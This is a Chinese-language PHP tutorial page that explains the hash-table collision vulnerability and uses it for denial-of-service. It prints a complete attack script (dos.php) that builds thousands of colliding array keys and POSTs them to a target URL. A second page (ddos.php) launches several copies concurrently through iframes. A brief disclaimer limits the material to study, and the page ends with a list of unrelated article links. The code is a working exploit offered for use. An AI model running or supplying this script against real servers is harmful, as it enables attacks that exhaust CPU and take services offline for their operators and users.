PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
文件上传的实现
Oct 09 PHP
PHP中Session的概念
Oct 09 PHP
PHP 截取字符串 分别适合GB2312和UTF8编码情况
Feb 12 PHP
php读取excel文件示例分享(更新修改excel)
Feb 27 PHP
PHP使用GIFEncoder类生成gif动态滚动字幕
Jul 01 PHP
phpmyadmin出现Cannot start session without errors问题解决方法
Aug 14 PHP
php基于表单密码验证与HTTP验证用法实例
Jan 06 PHP
Linux环境下php实现给网站截图的方法
May 03 PHP
PHP封装的mysqli数据库操作类示例
Feb 16 PHP
Swoole4.4协程抢占式调度器详解
May 23 PHP
PHP面向对象程序设计子类扩展父类(子类重新载入父类)操作详解
Jun 14 PHP
Thinkphp 框架基础之源码获取、环境要求与目录结构分析
Apr 27 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
PHP 模板高级篇总结
2006/12/21 PHP
php中is_null,empty,isset,unset 的区别详细介绍
2013/04/28 PHP
给PHP开发者的编程指南 第一部分降低复杂程度
2016/01/18 PHP
laravel框架路由分组,中间件,命名空间,子域名,路由前缀实例分析
2020/02/18 PHP
jquery中的$(document).ready()与window.onload的区别
2009/11/18 Javascript
50款非常棒的 jQuery 插件分享
2012/03/29 Javascript
JavaScript 判断用户输入的邮箱及手机格式是否正确
2013/12/08 Javascript
jQuery根据ID获取input、checkbox、radio、select的示例
2014/08/11 Javascript
JS中的作用域链
2017/03/01 Javascript
JS实现简单表格排序操作示例
2017/10/07 Javascript
详解vue的diff算法原理
2018/05/20 Javascript
JS代码屏蔽F12,右键,粘贴,复制,剪切,选中,操作实例
2019/09/17 Javascript
JS中作用域以及变量范围分析
2020/07/18 Javascript
Python内置的字符串处理函数详细整理(覆盖日常所用)
2014/08/19 Python
Python多进程通信Queue、Pipe、Value、Array实例
2014/11/21 Python
Linux下编译安装MySQL-Python教程
2015/02/02 Python
python监控文件或目录变化
2016/06/07 Python
离线安装Pyecharts的步骤以及依赖包流程
2020/04/23 Python
Python中装饰器兼容加括号和不加括号的写法详解
2017/07/05 Python
简单了解python模块概念
2018/01/11 Python
python pycurl验证basic和digest认证的方法
2018/05/02 Python
详解Open Folder as PyCharm Project怎么添加的方法
2020/12/29 Python
CSS3 border-radius圆角的实现方法及用法详解
2020/09/14 HTML / CSS
HTML5移动端开发中的Viewport标签及相关CSS用法解析
2016/04/15 HTML / CSS
Debenhams百货英国官方网站:Debenhams UK
2016/07/12 全球购物
Kipling意大利官网:世界著名的时尚休闲包袋品牌
2019/06/05 全球购物
小型女装店的创业计划书
2014/01/09 职场文书
写自荐信的注意事项
2014/03/09 职场文书
大型公益活动策划方案
2014/08/20 职场文书
一份关于丢失公司财物的检讨书
2014/09/19 职场文书
社区母亲节活动总结
2015/02/10 职场文书
导游词范文
2015/02/13 职场文书
会计主管岗位职责
2015/04/02 职场文书
《风筝》教学反思
2016/02/23 职场文书
小学四年级作文之写景
2019/08/23 职场文书
Win11 Build 25179预览版发布(附更新内容+ISO官方镜像下载)
2022/08/14 数码科技